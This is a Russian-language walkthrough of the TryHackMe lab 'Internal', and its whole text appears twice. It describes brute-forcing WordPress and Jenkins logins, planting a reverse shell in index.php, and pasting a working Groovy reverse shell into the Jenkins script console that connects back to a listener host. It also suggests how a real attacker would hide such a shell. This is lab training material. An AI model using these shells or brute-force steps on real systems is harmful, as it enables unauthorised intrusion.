Сегодня мы собираемся решить еще одну задачу boot2root, которая называется "Internal". Она доступен на TryHackMe для практики пентеста. Эта лабораторная несложна, если у нас есть необходимые базовые знания, чтобы поломать ее, и вы внимательно относитесь ко всем деталям, которые мы обнаруживаем во время разведки. Заслуга в создании этой лабораторной принадлежит TheMayor. Давайте начнем и узнаем, как успешно ей поломать.
Уровень: сложный
Поскольку эти лабораторные доступны на сайте TryHackMe.
Методология пентеста
Разведка
* Nmap
Перечисление
* Dirsearch
* WPScan
* Linpeas
* Chisel
Эксплуатация
* Заражение шаблона реверс-шеллом.
Повышение привилегий
* Учетные данные в скрытых и незашифрованных файлах
* Брутфорс логин Jenkins и злоупотребление консольными скриптами
* Захват флага
Прохождение
Разведка
Мы помещаем IP-адрес в файл "etc/hosts" и запускаем nmap.
Перечисление
Мы начинаем с доступа к веб-ресурсу, мы находим страницу Apache2/Ubuntu по умолчанию без каких-либо подсказок.
Пришло время запустить dirsearch, сейчас мы собираемся перечислить два каталога, которые привлекли наше внимание.
Мы видим WordPress, развернутый на сервере, практически без какой-либо информации.
Мы используем WPScan для перебора пользователей и брутфорса. Мы получим некоторые учетные данные для доступа в качестве администратора.
Эксплуатация
Воспользовавшись нашими привилегиями, мы отредактируем файл index.php и вставим наш ревес-шелл. В реальном сценарии злоумышленник спрятал бы этот код в другом, менее пригодном для использования файле или создал бы условие с PHP, чтобы реверс-шелл выполнялся только на IP-адресе, флаг GET и так далее в MD5 (например).
И у нас будет связь внутри машины. Мы выполняем две наши любимые команды, чтобы получить интерактивную оболочку.
Повышение привилегий (пользователь "aubreanna")
Выполнив множество действий для перечисления, мы нашли интересный текстовый файл.
Мы читаем его, и он содержит учетные данные пользователя Aubreanna.
Мы аутентифицируемся с пользователем "aubreanna" по SSH, и получаем доступ к его домашнему каталогу и читаем флаг "user.txt".
Повышение привилегий (root)
Мы находим файл "jenkins.txt", читаем его, и он дает нам понять, что служба работает внутри на IP-адресе на порту 8080.
Я использовал "chisel" для перенаправления моей машины Kali на порт 9000.
Мы заходим на сайт и находим службу Jenkins, пробуем полученные до сих пор учетные данные (WordPress, wp-config.php, mysql…), ничего не работает.
Мы используем Burp intruder со словарем наиболее часто используемых паролей. Мы будем различать пароль по его "длине".
У Jenkins есть скриптовая консоль, в которую мы вставим приведенный ниже код и запустим netcat, прослушивающий нашу машину.
Код эксплойта:
Если мы все сделали правильно, то получим доступ к машине:
Мы повторяем этот шаг, снова ищем файлы .txt и находим файл с именем "note.txt".
Читаем файл и находим учетные данные root!
Имея учетные данные, мы аутентифицируемся как root и читает флаг.
Источник: https://www.hackingarticles.in/internal-tryhackme-walkthrough/
Автор перевода: yashechka
Переведено специально для https://xss.pro
Уровень: сложный
Поскольку эти лабораторные доступны на сайте TryHackMe.
Методология пентеста
Разведка
* Nmap
Перечисление
* Dirsearch
* WPScan
* Linpeas
* Chisel
Эксплуатация
* Заражение шаблона реверс-шеллом.
Повышение привилегий
* Учетные данные в скрытых и незашифрованных файлах
* Брутфорс логин Jenkins и злоупотребление консольными скриптами
* Захват флага
Прохождение
Разведка
Мы помещаем IP-адрес в файл "etc/hosts" и запускаем nmap.
Перечисление
Мы начинаем с доступа к веб-ресурсу, мы находим страницу Apache2/Ubuntu по умолчанию без каких-либо подсказок.
Пришло время запустить dirsearch, сейчас мы собираемся перечислить два каталога, которые привлекли наше внимание.
Мы видим WordPress, развернутый на сервере, практически без какой-либо информации.
Мы используем WPScan для перебора пользователей и брутфорса. Мы получим некоторые учетные данные для доступа в качестве администратора.
wpscan --url internal.try -P /root/Tools/Dics/rockyou.txt
Эксплуатация
Воспользовавшись нашими привилегиями, мы отредактируем файл index.php и вставим наш ревес-шелл. В реальном сценарии злоумышленник спрятал бы этот код в другом, менее пригодном для использования файле или создал бы условие с PHP, чтобы реверс-шелл выполнялся только на IP-адресе, флаг GET и так далее в MD5 (например).
И у нас будет связь внутри машины. Мы выполняем две наши любимые команды, чтобы получить интерактивную оболочку.
Повышение привилегий (пользователь "aubreanna")
Выполнив множество действий для перечисления, мы нашли интересный текстовый файл.
Мы читаем его, и он содержит учетные данные пользователя Aubreanna.
Мы аутентифицируемся с пользователем "aubreanna" по SSH, и получаем доступ к его домашнему каталогу и читаем флаг "user.txt".
Повышение привилегий (root)
Мы находим файл "jenkins.txt", читаем его, и он дает нам понять, что служба работает внутри на IP-адресе на порту 8080.
Я использовал "chisel" для перенаправления моей машины Kali на порт 9000.
Мы заходим на сайт и находим службу Jenkins, пробуем полученные до сих пор учетные данные (WordPress, wp-config.php, mysql…), ничего не работает.
Мы используем Burp intruder со словарем наиболее часто используемых паролей. Мы будем различать пароль по его "длине".
У Jenkins есть скриптовая консоль, в которую мы вставим приведенный ниже код и запустим netcat, прослушивающий нашу машину.
String host="10.9.5.154";
int port=6666;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Код эксплойта:
Если мы все сделали правильно, то получим доступ к машине:
Мы повторяем этот шаг, снова ищем файлы .txt и находим файл с именем "note.txt".
Читаем файл и находим учетные данные root!
Имея учетные данные, мы аутентифицируемся как root и читает флаг.
Источник: https://www.hackingarticles.in/internal-tryhackme-walkthrough/
Автор перевода: yashechka
Переведено специально для https://xss.pro